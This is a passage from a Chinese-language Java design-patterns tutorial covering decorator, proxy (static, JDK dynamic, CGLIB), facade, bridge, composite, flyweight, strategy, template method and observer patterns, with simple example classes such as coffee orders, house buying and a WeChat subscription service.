public void setDescription(String description)
{
this.description=description;
}

public String getDescription()
{
return description+"-"+this.getPrice();
}
public float getPrice()
{
return price;
}
public void setPrice(float price)
{
this.price=price;
}
public abstract float cost();

}

被装饰的对象,不用去改造。原来怎么样写,现在还是怎么写。

1
2
3
4
5
6
7
8
public  class Coffee extends Drink {
@Override
public float cost() {
// TODO Auto-generated method stub
return super.getPrice();
}

}

coffee 类的实现

1
2
3
4
5
6
7
public class Decaf extends Coffee {
public Decaf()
{
super.setDescription("Decaf");
super.setPrice(3.0f);
}
}

装饰者

装饰者不仅要考虑自身,还要考虑被它修饰的对象,它是在被修饰的对象上继续添加修饰。例如,咖啡里面加牛奶,再加巧克力。加糖后价格为 coffee+milk。再加牛奶价格为 coffee+milk+chocolate。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Decorator extends Drink {
private Drink Obj;
public Decorator(Drink Obj) {
this.Obj = Obj;
};
@Override
public float cost() {
// TODO Auto-generated method stub
return super.getPrice() + Obj.cost();
}
@Override
public String getDescription() {
return super.description + "-" + super.getPrice() + "&&" + Obj.getDescription();
}
}

装饰者实例化(加牛奶)。这里面要对被修饰的对象进行实例化。

1
2
3
4
5
6
7
8
public class Milk extends Decorator {
public Milk(Drink Obj) {
super(Obj);
// TODO Auto-generated constructor stub
super.setDescription("Milk");
super.setPrice(2.0f);
}
}

coffee 店:初始化一个被修饰对象,修饰者实例需要对被修改者实例化,才能对具体的被修饰者进行修饰。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class CoffeeBar {
public static void main(String[] args) {
Drink order;
order = new Decaf();
System.out.println("order1 price:" + order.cost());
System.out.println("order1 desc:" + order.getDescription());
System.out.println("****************");
order = new LongBlack();
order = new Milk(order);
order = new Chocolate(order);
order = new Chocolate(order);
System.out.println("order2 price:" + order.cost());
System.out.println("order2 desc:" + order.getDescription());
}
}

6.2 总结

装饰者和被装饰者之间必须是一样的类型,也就是要有共同的超类。在这里应用继承并不是实现方法的复制,而是实现类型的匹配。因为装饰者和被装饰者是同一个类型,因此装饰者可以取代被装饰者,这样就使被装饰者拥有了装饰者独有的行为。根据装饰者模式的理念,我们可以在任何时候,实现新的装饰者增加新的行为。如果是用继承,每当需要增加新的行为时,就要修改原程序了。

#

#

# 7 代理模式

** 定义:** 代理模式给某一个对象提供一个代理对象,并由代理对象控制对原对象的引用。通俗的来讲代理模式就是我们生活中常见的中介。

举个例子来说明:假如说我现在想买一辆二手车,虽然我可以自己去找车源,做质量检测等一系列的车辆过户流程,但是这确实太浪费我得时间和精力了。我只是想买一辆车而已为什么我还要额外做这么多事呢?于是我就通过中介公司来买车,他们来给我找车源,帮我办理车辆过户流程,我只是负责选择自己喜欢的车,然后付钱就可以了。用图表示如下:

# 7.1 为什么要用代理模式?

** 中介隔离作用:** 在某些情况下,一个客户类不想或者不能直接引用一个委托对象,而代理类对象可以在客户类和委托对象之间起到中介的作用,其特征是代理类和委托类实现相同的接口。

** 开闭原则,增加功能:** 代理类除了是客户类和委托类的中介之外,我们还可以通过给代理类增加额外的功能来扩展委托类的功能,这样做我们只需要修改代理类而不需要再修改委托类,符合代码设计的开闭原则。代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类,以及事后对返回结果的处理等。代理类本身并不真正实现服务,而是同过调用委托类的相关方法,来提供特定的服务。真正的业务功能还是由委托类来实现,但是可以在业务功能执行的前后加入一些公共的服务。例如我们想给项目加入缓存、日志这些功能,我们就可以使用代理类来完成,而没必要打开已经封装好的委托类。

代理模式分为三类:1. 静态代理 2. 动态代理 3. CGLIB 代理

7.2 静态代理

举例(买房),类图如下:

第一步:创建服务类接口

1
2
3
public interface BuyHouse {
void buyHosue();
}

第二步:实现服务接口

1
2
3
4
5
6
public class BuyHouseImpl implements BuyHouse {
@Override
public void buyHosue() {
System.out.println("我要买房");
}
}

第三步:创建代理类

1
2
3
4
5
6
7
8
9
10
11
12
public class BuyHouseProxy implements BuyHouse {
private BuyHouse buyHouse;
public BuyHouseProxy(final BuyHouse buyHouse) {
this.buyHouse = buyHouse;
}
@Override
public void buyHosue() {
System.out.println("买房前准备");
buyHouse.buyHosue();
System.out.println("买房后装修");
}
}

总结:

优点:可以做到在符合开闭原则的情况下对目标对象进行功能扩展。

缺点: 代理对象与目标对象要实现相同的接口,我们得为每一个服务都得创建代理类,工作量太大,不易管理。同时接口一旦发生改变,代理类也得相应修改。

# 7.3 动态代理

动态代理有以下特点:

1. 代理对象,不需要实现接口

2. 代理对象的生成,是利用 JDK 的 API, 动态的在内存中构建代理对象 (需要我们指定创建代理对象 / 目标对象实现的接口的类型)

代理类不用再实现接口了。但是,要求被代理对象必须有接口。

动态代理实现:

Java.lang.reflect.Proxy 类可以直接生成一个代理对象

  • Proxy.newProxyInstance (ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) 生成一个代理对象

    • 参数 1:ClassLoader loader 代理对象的类加载器 一般使用被代理对象的类加载器

    • 参数 2:Class<?>[] interfaces 代理对象的要实现的接口 一般使用的被代理对象实现的接口

    • 参数 3:InvocationHandler h (接口) 执行处理类

  • InvocationHandler 中的 invoke (Object proxy, Method method, Object [] args) 方法:调用代理类的任何方法,此方法都会执行

    • 参数 3.1: 代理对象 (慎用)

    • 参数 3.2: 当前执行的方法

    • 参数 3.3: 当前执行的方法运行时传递过来的参数

第一步:编写动态处理器

1
2
3
4
5
6
7
8
9
10
11
12
13
public class DynamicProxyHandler implements InvocationHandler {
private Object object;
public DynamicProxyHandler(final Object object) {
this.object = object;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("买房前准备");
Object result = method.invoke(object, args);
System.out.println("买房后装修");
return result;
}
}

第二步:编写测试类

1
2
3
4
5
6
7
8
public class DynamicProxyTest {
public static void main(String[] args) {
BuyHouse buyHouse = new BuyHouseImpl();
BuyHouse proxyBuyHouse = (BuyHouse) Proxy.newProxyInstance(BuyHouse.class.getClassLoader(), new
Class[]{BuyHouse.class}, new DynamicProxyHandler(buyHouse));
proxyBuyHouse.buyHosue();
}
}

** 动态代理总结:** 虽然相对于静态代理,动态代理大大减少了我们的开发任务,同时减少了对业务接口的依赖,降低了耦合度。但是还是有一点点小小的遗憾之处,那就是它始终无法摆脱仅支持 interface 代理的桎梏(我们要使用被代理的对象的接口),因为它的设计注定了这个遗憾。

7.4 CGLIB 代理

CGLIB 原理:动态生成一个要代理类的子类,子类重写要代理的类的所有不是 final 的方法。在子类中采用方法拦截的技术拦截所有父类方法的调用,顺势织入横切逻辑。它比使用 java 反射的 JDK 动态代理要快。

CGLIB 底层:使用字节码处理框架 ASM,来转换字节码并生成新的类。不鼓励直接使用 ASM,因为它要求你必须对 JVM 内部结构包括 class 文件的格式和指令集都很熟悉。

CGLIB 缺点:对于 final 方法,无法进行代理。

CGLIB 的实现步骤:

第一步:建立拦截器

1
2
3
4
5
6
7
8
9
10
11
public Object intercept(Object object, Method method, Object[] args, MethodProxy methodProxy) throws Throwable {

System.out.println("买房前准备");

Object result = methodProxy.invoke(object, args);

System.out.println("买房后装修");

return result;

}

参数:Object 为由 CGLib 动态生成的代理类实例,Method 为上文中实体类所调用的被代理的方法引用,Object [] 为参数值列表,MethodProxy 为生成的代理类对方法的代理引用。

返回:从代理实例的方法调用返回的值。

其中,proxy.invokeSuper(obj,arg) 调用代理类实例上的 proxy 方法的父类方法(即实体类 TargetObject 中对应的方法)

第二步: 生成动态代理类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class CglibProxy implements MethodInterceptor {
private Object target;
public Object getInstance(final Object target) {
this.target = target;
Enhancer enhancer = new Enhancer();
enhancer.setSuperclass(this.target.getClass());
enhancer.setCallback(this);
return enhancer.create();
}
public Object intercept(Object object, Method method, Object[] args, MethodProxy methodProxy) throws Throwable {
System.out.println("买房前准备");
Object result = methodProxy.invoke(object, args);
System.out.println("买房后装修");
return result;
}
}

这里 Enhancer 类是 CGLib 中的一个字节码增强器,它可以方便的对你想要处理的类进行扩展,以后会经常看到它。

首先将被代理类 TargetObject 设置成父类,然后设置拦截器 TargetInterceptor,最后执行 enhancer.create () 动态生成一个代理类,并从 Object 强制转型成父类型 TargetObject。

第三步:测试

1
2
3
4
5
6
7
8
public class CglibProxyTest {
public static void main(String[] args){
BuyHouse buyHouse = new BuyHouseImpl();
CglibProxy cglibProxy = new CglibProxy();
BuyHouseImpl buyHouseCglibProxy = (BuyHouseImpl) cglibProxy.getInstance(buyHouse);
buyHouseCglibProxy.buyHosue();
}
}

CGLIB 代理总结:** CGLIB 创建的动态代理对象比 JDK 创建的动态代理对象的性能更高,但是 CGLIB 创建代理对象时所花费的时间却比 JDK 多得多。所以对于单例的对象,因为无需频繁创建对象,用 CGLIB 合适,反之使用 JDK 方式要更为合适一些。同时由于 CGLib 由于是采用动态创建子类的方法,对于 final 修饰的方法无法进行代理。**

# 8 外观模式

定义: 隐藏了系统的复杂性,并向客户端提供了一个可以访问系统的接口。

# 8.1 模式结构和代码示例

简单来说,该模式就是把一些复杂的流程封装成一个接口供给外部用户更简单的使用。这个模式中,设计到 3 个角色。

1). 门面角色:外观模式的核心。它被客户角色调用,它熟悉子系统的功能。内部根据客户角色的需求预定了几种功能的组合。(客户调用,同时自身调用子系统功能

2). 子系统角色:实现了子系统的功能。它对客户角色和 Facade 时未知的。它内部可以有系统内的相互交互,也可以由供外界调用的接口。(实现具体功能)

3). 客户角色:通过调用 Facede 来完成要实现的功能(调用门面角色)。

举例(每个 Computer 都有 CPU、Memory、Disk。在 Computer 开启和关闭的时候,相应的部件也会开启和关闭),类图如下:

首先是子系统类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class CPU {

public void start() {
System.out.println("cpu is start...");
}

public void shutDown() {
System.out.println("CPU is shutDown...");
}
}

public class Disk {
public void start() {
System.out.println("Disk is start...");
}

public void shutDown() {
System.out.println("Disk is shutDown...");
}
}

public class Memory {
public void start() {
System.out.println("Memory is start...");
}

public void shutDown() {
System.out.println("Memory is shutDown...");
}
}

然后是,门面类 Facade

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Computer {

private CPU cpu;
private Memory memory;
private Disk disk;

public Computer() {
cpu = new CPU();
memory = new Memory();
disk = new Disk();
}

public void start() {
System.out.println("Computer start begin");
cpu.start();
disk.start();
memory.start();
System.out.println("Computer start end");
}

public void shutDown() {
System.out.println("Computer shutDown begin");
cpu.shutDown();
disk.shutDown();
memory.shutDown();
System.out.println("Computer shutDown end...");
}
}

最后为,客户角色

1
2
3
4
5
6
7
8
9
10
public class Client {

public static void main(String[] args) {
Computer computer = new Computer();
computer.start();
System.out.println("=================");
computer.shutDown();
}

}

# 8.2 优点

** - 松散耦合 **

使得客户端和子系统之间解耦,让子系统内部的模块功能更容易扩展和维护;

**  - 简单易用 **

客户端根本不需要知道子系统内部的实现,或者根本不需要知道子系统内部的构成,它只需要跟 Facade 类交互即可。

** - 更好的划分访问层次 **

有些方法是对系统外的,有些方法是系统内部相互交互的使用的。子系统把那些暴露给外部的功能集中到门面中,这样就可以实现客户端的使用,很好的隐藏了子系统内部的细节。

# 9 桥接模式

定义: 将抽象部分与它的实现部分分离,使它们都可以独立地变化。

# 9.1 案例

看下图手机与手机软件的类图

增加一款新的手机软件,需要在所有手机品牌类下添加对应的手机软件类,当手机软件种类较多时,将导致类的个数急剧膨胀,难以维护

手机和手机中的软件是什么关系?

手机中的软件从本质上来说并不是一种手机,手机软件运行在手机中,是一种包含与被包含关系,而不是一种父与子或者说一般与特殊的关系,通过继承手机类实现手机软件类的设计是违反一般规律的。

如果 Oppo 手机实现了 wifi 功能,继承它的 Oppo 应用商城也会继承 wifi 功能,并且 Oppo 手机类的任何变动,都会影响其子类

换一种解决思路

从类图上看起来更像是手机软件类图,涉及到手机本身相关的功能,比如说:wifi 功能,放到哪个类中实现呢?放到 OppoAppStore 中实现显然是不合适的

引起整个结构变化的元素有两个,一个是手机品牌,一个是手机软件,所以我们将这两个点抽出来,分别进行封装

# 9.2 桥接模式结构和代码示例

类图:

实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public interface Software {
public void run();

}
public class AppStore implements Software {

@Override
public void run() {
System.out.println("run app store");
}
}
public class Camera implements Software {

@Override
public void run() {
System.out.println("run camera");
}
}

抽象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public abstract class Phone {

protected Software software;

public void setSoftware(Software software) {
this.software = software;
}

public abstract void run();

}
public class Oppo extends Phone {

@Override
public void run() {
software.run();
}
}
public class Vivo extends Phone {

@Override
public void run() {
software.run();
}
}

对比最初的设计,将抽象部分(手机)与它的实现部分(手机软件类)分离,将实现部分抽象成单独的类,使它们都可以独立地变化。整个类图看起来像一座桥,所以称为桥接模式

继承是一种强耦合关系,子类的实现与它的父类有非常紧密的依赖关系,父类的任何变化 都会导致子类发生变化,因此继承或者说强耦合关系严重影响了类的灵活性,并最终限制了可复用性

从桥接模式的设计上我们可以看出聚合是一种比继承要弱的关联关系,手机类和软件类都可独立的进行变化,不会互相影响

# 9.3 适用场景

桥接模式通常适用于以下场景。

  1. 当一个类存在两个独立变化的维度,且这两个维度都需要进行扩展时。

  2. 当一个系统不希望使用继承或因为多层次继承导致系统类的个数急剧增加时。

  3. 当一个系统需要在构件的抽象化角色和具体化角色之间增加更多的灵活性时。

# 9.4 优缺点

优点:

(1) 在很多情况下,桥接模式可以取代多层继承方案,多层继承方案违背了 “单一职责原则”,复用性较差,且类的个数非常多,桥接模式是比多层继承方案更好的解决方法,它极大减少了子类的个数。

(2) 桥接模式提高了系统的可扩展性,在两个变化维度中任意扩展一个维度,都不需要修改原有系统,符合 “开闭原则”。

缺点:

桥接模式的使用会增加系统的理解与设计难度,由于关联关系建立在抽象层,要求开发者一开始就针对抽象层进行设计与编程。

# 10 组合模式

** 定义:** 有时又叫作部分 - 整体模式,它是一种将对象组合成树状的层次结构的模式,用来表示 “部分 - 整体” 的关系,使用户对单个对象和组合对象具有一致的访问性。

** 意图:** 将对象组合成树形结构以表示 "部分 - 整体" 的层次结构。组合模式使得用户对单个对象和组合对象的使用具有一致性。

** 主要解决:** 它在我们树型结构的问题中,模糊了简单元素和复杂元素的概念,客户程序可以向处理简单元素一样来处理复杂元素,从而使得客户程序与复杂元素的内部结构解耦。

何时使用: 1、您想表示对象的部分 - 整体层次结构(树形结构)。 2、您希望用户忽略组合对象与单个对象的不同,用户将统一地使用组合结构中的所有对象。

** 如何解决:** 树枝和叶子实现统一接口,树枝内部组合该接口。

** 关键代码:** 树枝内部组合该接口,并且含有内部属性 List,里面放 Component。

组合模式的主要优点有:

  1. 组合模式使得客户端代码可以一致地处理单个对象和组合对象,无须关心自己处理的是单个对象,还是组合对象,这简化了客户端代码;

  2. 更容易在组合体内加入新的对象,客户端不会因为加入了新的对象而更改源代码,满足 “开闭原则”;

其主要缺点是:

  1. 设计较复杂,客户端需要花更多时间理清类之间的层次关系;

  2. 不容易限制容器中的构件;

  3. 不容易用继承的方法来增加构件的新功能;

# 10.1 模式结构和代码示例

  • 抽象构件(Component)角色:它的主要作用是为树叶构件和树枝构件声明公共接口,并实现它们的默认行为。在透明式的组合模式中抽象构件还声明访问和管理子类的接口;在安全式的组合模式中不声明访问和管理子类的接口,管理工作由树枝构件完成。

  • 树叶构件(Leaf)角色:是组合中的叶节点对象,它没有子节点,用于实现抽象构件角色中 声明的公共接口。

  • 树枝构件(Composite)角色:是组合中的分支节点对象,它有子节点。它实现了抽象构件角色中声明的接口,它的主要作用是存储和管理子部件,通常包含 Add ()、Remove ()、GetChild () 等方法

举例(访问一颗树),类图如下:

1 组件

1
2
3
4
5
6
7
public interface Component {
public void add(Component c);
public void remove(Component c);
public Component getChild(int i);
public void operation();

}

2 叶子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Leaf implements Component{

private String name;


public Leaf(String name) {
this.name = name;
}

@Override
public void add(Component c) {}

@Override
public void remove(Component c) {}

@Override
public Component getChild(int i) {
// TODO Auto-generated method stub
return null;
}

@Override
public void operation() {
// TODO Auto-generated method stub
System.out.println("树叶"+name+":被访问!");
}

}

3 树枝

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Composite implements Component {

private ArrayList<Component> children = new ArrayList<Component>();

public void add(Component c) {
children.add(c);
}

public void remove(Component c) {
children.remove(c);
}

public Component getChild(int i) {
return children.get(i);
}

public void operation() {
for (Object obj : children) {
((Component) obj).operation();
}
}
}

#

# 11 享元模式

** 定义:** 通过共享的方式高效的支持大量细粒度的对象。

** 主要解决:** 在有大量对象时,有可能会造成内存溢出,我们把其中共同的部分抽象出来,如果有相同的业务请求,直接返回在内存中已有的对象,避免重新创建。

何时使用: 1、系统中有大量对象。 2、这些对象消耗大量内存。 3、这些对象的状态大部分可以外部化。 4、这些对象可以按照内蕴状态分为很多组,当把外蕴对象从对象中剔除出来时,每一组对象都可以用一个对象来代替。 5、系统不依赖于这些对象身份,这些对象是不可分辨的。

** 如何解决:** 用唯一标识码判断,如果在内存中有,则返回这个唯一标识码所标识的对象。

** 关键代码:** 用 HashMap 存储这些对象。

应用实例: 1、JAVA 中的 String,如果有则返回,如果没有则创建一个字符串保存在字符串缓存池里面。

** 优点:** 大大减少对象的创建,降低系统的内存,使效率提高。

** 缺点:** 提高了系统的复杂度,需要分离出外部状态和内部状态,而且外部状态具有固有化的性质,不应该随着内部状态的变化而变化,否则会造成系统的混乱。

简单来说,我们抽取出一个对象的外部状态(不能共享)和内部状态(可以共享)。然后根据外部状态的决定是否创建内部状态对象。内部状态对象是通过哈希表保存的,当外部状态相同的时候,不再重复的创建内部状态对象,从而减少要创建对象的数量。

# 11.1 享元模式的结构图和代码示例

1、Flyweight (享元抽象类):一般是接口或者抽象类,定义了享元类的公共方法。这些方法可以分享内部状态的数据,也可以调用这些方法修改外部状态。

2、ConcreteFlyweight (具体享元类):具体享元类实现了抽象享元类的方法,为享元对象开辟了内存空间来保存享元对象的内部数据,同时可以通过和单例模式结合只创建一个享元对象。

3、FlyweightFactory (享元工厂类):享元工厂类创建并且管理享元类,享元工厂类针对享元类来进行编程,通过提供一个享元池来进行享元对象的管理。一般享元池设计成键值对,或者其他的存储结构来存储。当客户端进行享元对象的请求时,如果享元池中有对应的享元对象则直接返回对应的对象,否则工厂类创建对应的享元对象并保存到享元池。

举例(JAVA 中的 String,如果有则返回,如果没有则创建一个字符串保存在字符串缓存池里面)。类图如下:

(1)创建享元对象接口

1
2
3
public interface IFlyweight {
void print();
}

(2)创建具体享元对象

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Flyweight implements IFlyweight {
private String id;
public Flyweight(String id){
this.id = id;
}
@Override
public void print() {
System.out.println("Flyweight.id = " + getId() + " ...");
}
public String getId() {
return id;
}
}

(3)创建工厂,这里要特别注意,为了避免享元对象被重复创建,我们使用 HashMap 中的 key 值保证其唯一。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class FlyweightFactory {
private Map<String, IFlyweight> flyweightMap = new HashMap();
public IFlyweight getFlyweight(String str){
IFlyweight flyweight = flyweightMap.get(str);
if(flyweight == null){
flyweight = new Flyweight(str);
flyweightMap.put(str, flyweight);
}
return flyweight;
}
public int getFlyweightMapSize(){
return flyweightMap.size();
}
}

(4)测试,我们创建三个字符串,但是只会产生两个享元对象

1
2
3
4
5
6
7
8
9
10
11
12
13
public class MainTest {
public static void main(String[] args) {
FlyweightFactory flyweightFactory = new FlyweightFactory();
IFlyweight flyweight1 = flyweightFactory.getFlyweight("A");
IFlyweight flyweight2 = flyweightFactory.getFlyweight("B");
IFlyweight flyweight3 = flyweightFactory.getFlyweight("A");
flyweight1.print();
flyweight2.print();
flyweight3.print();
System.out.println(flyweightFactory.getFlyweightMapSize());
}

}

#

# C、关系模式(11 种)

先来张图,看看这 11 中模式的关系:

第一类:通过父类与子类的关系进行实现。

第二类:两个类之间。

第三类:类的状态。

第四类:通过中间类

# 12 策略模式

定义: 策略模式定义了一系列算法,并将每个算法封装起来,使他们可以相互替换,且算法的变化不会影响到使用算法的客户。

** 意图:** 定义一系列的算法,把它们一个个封装起来,并且使它们可相互替换。

** 主要解决:** 在有多种算法相似的情况下,使用 if…else 所带来的复杂和难以维护。

** 何时使用:** 一个系统有许多许多类,而区分它们的只是他们直接的行为。

** 如何解决:** 将这些算法封装成一个一个的类,任意地替换。

** 关键代码:** 实现同一个接口。

优点: 1、算法可以自由切换。 2、避免使用多重条件判断。 3、扩展性良好。

缺点: 1、策略类会增多。 2、所有策略类都需要对外暴露。

# 12.1 策略模式结构和示例代码

抽象策略角色: 这个是一个抽象的角色,通常情况下使用接口或者抽象类去实现。对比来说,就是我们的 Comparator 接口。

具体策略角色: 包装了具体的算法和行为。对比来说,就是实现了 Comparator 接口的实现一组实现类。

环境角色: 内部会持有一个抽象角色的引用,给客户端调用。

举例如下( 实现一个加减的功能),类图如下:

1、定义抽象策略角色

1
2
3
4
public interface Strategy {

public int calc(int num1,int num2);
}

2、定义具体策略角色

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class AddStrategy implements Strategy {

@Override
public int calc(int num1, int num2) {
// TODO Auto-generated method stub
return num1 + num2;
}

}
public class SubstractStrategy implements Strategy {

@Override
public int calc(int num1, int num2) {
// TODO Auto-generated method stub
return num1 - num2;
}

}

3、环境角色

1
2
3
4
5
6
7
8
9
10
11
12
public class Environment {
private Strategy strategy;

public Environment(Strategy strategy) {
this.strategy = strategy;
}

public int calculate(int a, int b) {
return strategy.calc(a, b);
}

}

4、测试

1
2
3
4
5
6
7
8
9
10
11
12
13
public class MainTest {
public static void main(String[] args) {

Environment environment=new Environment(new AddStrategy());
int result=environment.calculate(20, 5);
System.out.println(result);

Environment environment1=new Environment(new SubstractStrategy());
int result1=environment1.calculate(20, 5);
System.out.println(result1);
}

}

#

# 13 模板模式

** 定义:** 定义一个操作中算法的骨架,而将一些步骤延迟到子类中,模板方法使得子类可以不改变算法的结构即可重定义该算法的某些特定步骤。

通俗点的理解就是 :完成一件事情,有固定的数个步骤,但是每个步骤根据对象的不同,而实现细节不同;就可以在父类中定义一个完成该事情的总方法,按照完成事件需要的步骤去调用其每个步骤的实现方法。每个步骤的具体实现,由子类完成。

# 13.1 模式结构和代码示例

抽象父类(AbstractClass):实现了模板方法,定义了算法的骨架。

具体类(ConcreteClass):实现抽象类中的抽象方法,即不同的对象的具体实现细节。

举例( 我们做菜可以分为三个步骤 (1)备料 (2)具体做菜 (3)盛菜端给客人享用,这三部就是算法的骨架 ;然而做不同菜需要的料,做的方法,以及如何盛装给客人享用都是不同的这个就是不同的实现细节。)。类图如下:

a. 先来写一个抽象的做菜父类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public abstract class Dish {    
/**
* 具体的整个过程
*/
protected void dodish(){
this.preparation();
this.doing();
this.carriedDishes();
}
/**
* 备料
*/
public abstract void preparation();
/**
* 做菜
*/
public abstract void doing();
/**
* 上菜
*/
public abstract void carriedDishes ();
}

b. 下来做两个番茄炒蛋(EggsWithTomato)和红烧肉(Bouilli)实现父类中的抽象方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class EggsWithTomato extends Dish {

@Override
public void preparation() {
System.out.println("洗并切西红柿,打鸡蛋。");
}

@Override
public void doing() {
System.out.println("鸡蛋倒入锅里,然后倒入西红柿一起炒。");
}

@Override
public void carriedDishes() {
System.out.println("将炒好的西红寺鸡蛋装入碟子里,端给客人吃。");
}

}
public class Bouilli extends Dish{

@Override
public void preparation() {
System.out.println("切猪肉和土豆。");
}

@Override
public void doing() {
System.out.println("将切好的猪肉倒入锅中炒一会然后倒入土豆连炒带炖。");
}

@Override
public void carriedDishes() {
System.out.println("将做好的红烧肉盛进碗里端给客人吃。");
}

}

c. 在测试类中我们来做菜:

1
2
3
4
5
6
7
8
9
10
11
12
public class MainTest {
public static void main(String[] args) {
Dish eggsWithTomato = new EggsWithTomato();
eggsWithTomato.dodish();

System.out.println("-----------------------------");

Dish bouilli = new Bouilli();
bouilli.dodish();
}

}

# 13.2 模板模式的优点和缺点

优点:

(1)具体细节步骤实现定义在子类中,子类定义详细处理算法是不会改变算法整体结构。

(2)代码复用的基本技术,在数据库设计中尤为重要。

(3)存在一种反向的控制结构,通过一个父类调用其子类的操作,通过子类对父类进行扩展增加新的行为,符合 “开闭原则”。

# 缺点:

每个不同的实现都需要定义一个子类,会导致类的个数增加,系统更加庞大。

#

# 14 观察者模式

定义: 定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都得到通知并被自动更新。

** 主要解决:** 一个对象状态改变给其他对象通知的问题,而且要考虑到易用和低耦合,保证高度的协作。

** 何时使用:** 一个对象(目标对象)的状态发生改变,所有的依赖对象(观察者对象)都将得到通知,进行广播通知。

** 如何解决:** 使用面向对象技术,可以将这种依赖关系弱化。

** 关键代码:** 在抽象类里有一个 ArrayList 存放观察者们。

优点: 1、观察者和被观察者是抽象耦合的。 2、建立一套触发机制。

缺点: 1、如果一个被观察者对象有很多的直接和间接的观察者的话,将所有的观察者都通知到会花费很多时间。 2、如果在观察者和观察目标之间有循环依赖的话,观察目标会触发它们之间进行循环调用,可能导致系统崩溃。 3、观察者模式没有相应的机制让观察者知道所观察的目标对象是怎么发生变化的,而仅仅只是知道观察目标发生了变化。

# 14.1 模式结构图和代码示例

  • 抽象被观察者角色:也就是一个抽象主题,它把所有对观察者对象的引用保存在一个集合中,每个主题都可以有任意数量的观察者。抽象主题提供一个接口,可以增加和删除观察者角色。一般用一个抽象类和接口来实现。

  • 抽象观察者角色:为所有的具体观察者定义一个接口,在得到主题通知时更新自己。

  • 具体被观察者角色:也就是一个具体的主题,在集体主题的内部状态改变时,所有登记过的观察者发出通知。

  • 具体观察者角色:实现抽象观察者角色所需要的更新接口,一边使本身的状态与制图的状态相协调。

举例(有一个微信公众号服务,不定时发布一些消息,关注公众号就可以收到推送消息,取消关注就收不到推送消息。)类图如下:

1、定义一个抽象被观察者接口

1
2
3
4
5
6
7
public interface Subject {

public void registerObserver(Observer o);
public void removeObserver(Observer o);
public void notifyObserver();

}

2、定义一个抽象观察者接口

1
2
3
4
5
public interface Observer {

public void update(String message);

}

3、定义被观察者,实现了 Observerable 接口,对 Observerable 接口的三个方法进行了具体实现,同时有一个 List 集合,用以保存注册的观察者,等需要通知观察者时,遍历该集合即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class WechatServer implements Subject {

private List<Observer> list;
private String message;

public WechatServer() {
list = new ArrayList<Observer>();
}

@Override
public void registerObserver(Observer o) {
// TODO Auto-generated method stub
list.add(o);
}

@Override
public void removeObserver(Observer o) {
// TODO Auto-generated method stub
if (!list.isEmpty()) {
list.remove(o);
}
}

@Override
public void notifyObserver() {
// TODO Auto-generated method stub
for (Observer o : list) {
o.update(message);
}
}

public void setInfomation(String s) {
this.message = s;
System.out.println("微信服务更新消息: " + s);
// 消息更新,通知所有观察者
notifyObserver();
}

}

4、定义具体观察者,微信公众号的具体观察者为用户 User

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class User implements Observer {

private String name;
private String message;

public User(String name) {
this.name = name;
}

@Override
public void update(String message) {
this.message = message;
read();
}

public void read() {
System.out.println(name + " 收到推送消息: " + message);
}

}

5、编写一个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class MainTest {

public static void main(String[] args) {

WechatServer server = new WechatServer();

Observer userZhang = new User("ZhangSan");
Observer userLi = new User("LiSi");
Observer userWang = new User("WangWu");

server.registerObserver(userZhang);
server.registerObserver(userLi);
server.registerObserver(userWang);
server.setInfomation("PHP是世界上最好用的语言!");

System.out.println("----------------------------------------------");
server.removeObserver(userZhang);
server.setInfomation("JAVA是世界上最好用的语言!");

}

}

# 15 迭代器模式

** 定义:** 提供一种方法顺序访问一个聚合对象中各个元素,而又无须暴露该对象的内部表示。

简单来说,不同种类的对象可能需要不同的遍历方式,我们对每一种类型的对象配一个迭代器,最后多个迭代器合成一个。

** 主要解决:** 不同的方式来遍历整个整合对象。

** 何时使用:** 遍历一个聚合对象。

** 如何解决:** 把在元素之间游走的责任交给迭代器,而不是聚合对象。

** 关键代码:** 定义接口:hasNext, next。

** 应用实例:**JAVA 中的 iterator。

优点: 1、它支持以不同的方式遍历一个聚合对象。 2、迭代器简化了聚合类。 3、在同一个聚合上可以有多个遍历。 4、在迭代器模式中,增加新的聚合类和迭代器类都很方便,无须修改原有代码。

** 缺点:** 由于迭代器模式将存储数据和遍历数据的职责分离,增加新的聚合类需要对应增加新的迭代器类,类的个数成对增加,这在一定程度上增加了系统的复杂性。

# 15.1 模式结构和代码示例

(1) 迭代器角色(Iterator): 定义遍历元素所需要的方法,一般来说会有这么三个方法:取得下一个元素的方法 next (),判断是否遍历结束的方法 hasNext ()),移出当前对象的方法 remove (),

(2) 具体迭代器角色(Concrete Iterator):实现迭代器接口中定义的方法,完成集合的迭代。

(3) 容器角色 (Aggregate): 一般是一个接口,提供一个 iterator () 方法,例如 java 中的 Collection 接口,List 接口,Set 接口等

(4) 具体容器角色(ConcreteAggregate):就是抽象容器的具体实现类,比如 List 接口的有序列表实现 ArrayList,List 接口的链表实现 LinkList,Set 接口的哈希列表的实现 HashSet 等。

